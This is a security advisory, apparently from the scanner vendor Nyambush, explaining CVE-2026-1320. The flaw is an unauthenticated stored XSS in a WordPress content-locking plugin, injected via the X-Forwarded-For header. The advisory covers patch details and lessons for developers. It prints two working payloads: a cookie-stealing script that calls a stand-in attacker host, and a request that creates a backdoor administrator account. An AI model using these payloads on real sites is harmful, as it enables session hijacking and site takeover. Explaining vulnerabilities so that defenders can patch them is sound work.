CVE-2026-1320: Content Locking Plugin Stored XSS
Overview
- CVE: CVE-2026-1320
- Affected Plugin: Content Locking Plugin (WordPress)
- CVSS: High
- Authentication: None required — unauthenticated attackers can exploit this
- Type: Stored Cross-Site Scripting (HTTP Header Injection)
- Disclosed: February 16, 2026
In February 2026, a serious Stored XSS vulnerability was discovered in a WordPress content-locking plugin. An attacker only needs to craft a single HTTP request with a malicious JavaScript payload in a header value, and that script will later execute in any administrator's browser session. The complete absence of an authentication requirement makes this vulnerability particularly dangerous.
What Happened
The Content Locking Plugin provides WordPress site owners with the ability to restrict certain content to specific users or groups. To support access logging and usage analytics, the plugin records the originating IP address of each incoming request. It did so by reading the X-Forwarded-For HTTP header and storing its value directly into the database.
Two independent failures combined to create the vulnerability:
- Missing input validation: The plugin accepted any arbitrary string from the
X-Forwarded-Forheader without checking whether it contained a valid IP address format or any unsafe characters. - Missing output escaping: When rendering the stored values in the admin dashboard log view, the plugin emitted the raw database value into the HTML page without applying any HTML encoding.
Either flaw alone would be concerning, but together they form a complete Stored XSS exploit chain accessible to anyone on the internet.
How the Attack Works
The attack proceeds in three steps.
Step 1: Send a request with a malicious header
The attacker sends a normal GET request to any publicly accessible page on the target site. The payload is placed entirely in the X-Forwarded-For header:
GET /sample-page/ HTTP/1.1
Host: victim-site.example.com
X-Forwarded-For: <script>fetch('https://attacker.example.com/steal?c='+document.cookie)</script>
User-Agent: Mozilla/5.0 ...
A more sophisticated attacker might craft a payload that creates a backdoor administrator account directly, using the victim administrator's active session:
X-Forwarded-For: <script>var r=new XMLHttpRequest();r.open('POST','/wp-admin/user-new.php');r.setRequestHeader('Content-Type','application/x-www-form-urlencoded');r.send('user_login=backdoor&email=attacker%40evil.example.com&role=administrator&_wpnonce='+document.querySelector('#createuser [name=_wpnonce]').value)</script>
Step 2: Payload is stored in the database
The plugin records the unsanitized header value to the database as-is. No script execution happens at this point — the payload is simply persisted, waiting silently.
Step 3: Administrator views the log page
When an administrator opens the plugin's access log or statistics page in the WordPress admin area, the stored script tag is rendered directly into the HTML response. The administrator's browser parses it as executable JavaScript and runs the attacker's code with the full privileges of the administrator's authenticated session.
Why X-Forwarded-For is dangerous input
X-Forwarded-For is a conventional header used by reverse proxies and load balancers to convey the original client IP through multiple network hops. However, because clients control this header completely, any application that trusts its value without strict validation is accepting arbitrary attacker-controlled input. The server cannot distinguish a legitimate proxy-forwarded IP from a malicious payload injected by an attacker.
Real-World Impact
A successful exploitation of this vulnerability can result in any of the following outcomes, all without the attacker ever logging into WordPress:
Administrator session hijacking: By sending document.cookie to an attacker-controlled server, the adversary obtains the administrator's authenticated session token and can replay it to assume full site control.
Silent backdoor account creation: The payload can call the WordPress user creation endpoint (/wp-admin/user-new.php) with the administrator role. Even after the XSS payload is discovered and removed, the backdoor account persists.
Site option manipulation: With the administrator's session, the payload can POST to /wp-admin/options-general.php to change the site URL, admin email address, or inject persistent malicious code into site-wide settings.
Malicious file upload leading to RCE: WordPress's media upload API can be called from within the XSS payload to upload a PHP file. Once uploaded, the attacker can request that file directly to achieve remote code execution on the server.
The Stored nature of this XSS means the attack is entirely asynchronous — the attacker sends one request and then waits. The exploitation occurs automatically the next time any administrator views the log page, with no further interaction required from the attacker. This makes the vulnerability easy to weaponize and difficult for defenders to detect in real time.
Fix and Lessons
What the patch does
The fixed version of the plugin addresses both failure points:
- Input stage: The value of
X-Forwarded-Foris now validated against an IP address format before being stored. Values that do not match IPv4 or IPv6 patterns are discarded rather than persisted. - Output stage: All values retrieved from the database are passed through
esc_html()before being inserted into the admin page HTML, neutralizing any embedded markup or script tags.
Lessons for plugin developers and site owners
-
HTTP headers are untrusted user input:
X-Forwarded-For,User-Agent,Referer, and all other HTTP headers can contain arbitrary content set by the client. Treat them with the same skepticism as form submissions. -
Input validation and output escaping are independent layers: Validating input does not eliminate the need for output escaping, and vice versa. A defense-in-depth approach requires both. If either layer is missing, an attacker can find a path through.
-
Stored XSS is a persistent threat: Unlike reflected XSS, where the attacker must trick a victim into clicking a link, Stored XSS only requires a single malicious request. The payload executes for every future page load by any admin, potentially days or weeks later.
-
Zero-authentication attack surface: This vulnerability required no WordPress account whatsoever. Any internet-connected machine could deliver the payload. Site owners cannot rely on authentication as a mitigation for this class of vulnerability.
-
Validate IP address format strictly: If a plugin or custom code consumes
X-Forwarded-For, validate the extracted value against a strict IP address regex for both IPv4 (^(\d{1,3}\.){3}\d{1,3}$) and IPv6 before trusting or storing it.
Detection with Nyambush
Nyambush detects installed WordPress plugin versions and raises a warning when a version of the Content Locking Plugin with this vulnerability is found. Because the attack requires no authentication, even a brief window between public disclosure and patching creates real exposure.
Scheduled scans monitor plugin versions continuously. If a vulnerable version remains installed after the fix is released, Nyambush will alert you so you can prioritize the update. Unauthenticated Stored XSS vulnerabilities have a very low attack cost, making rapid response essential — Nyambush helps you stay ahead of that window.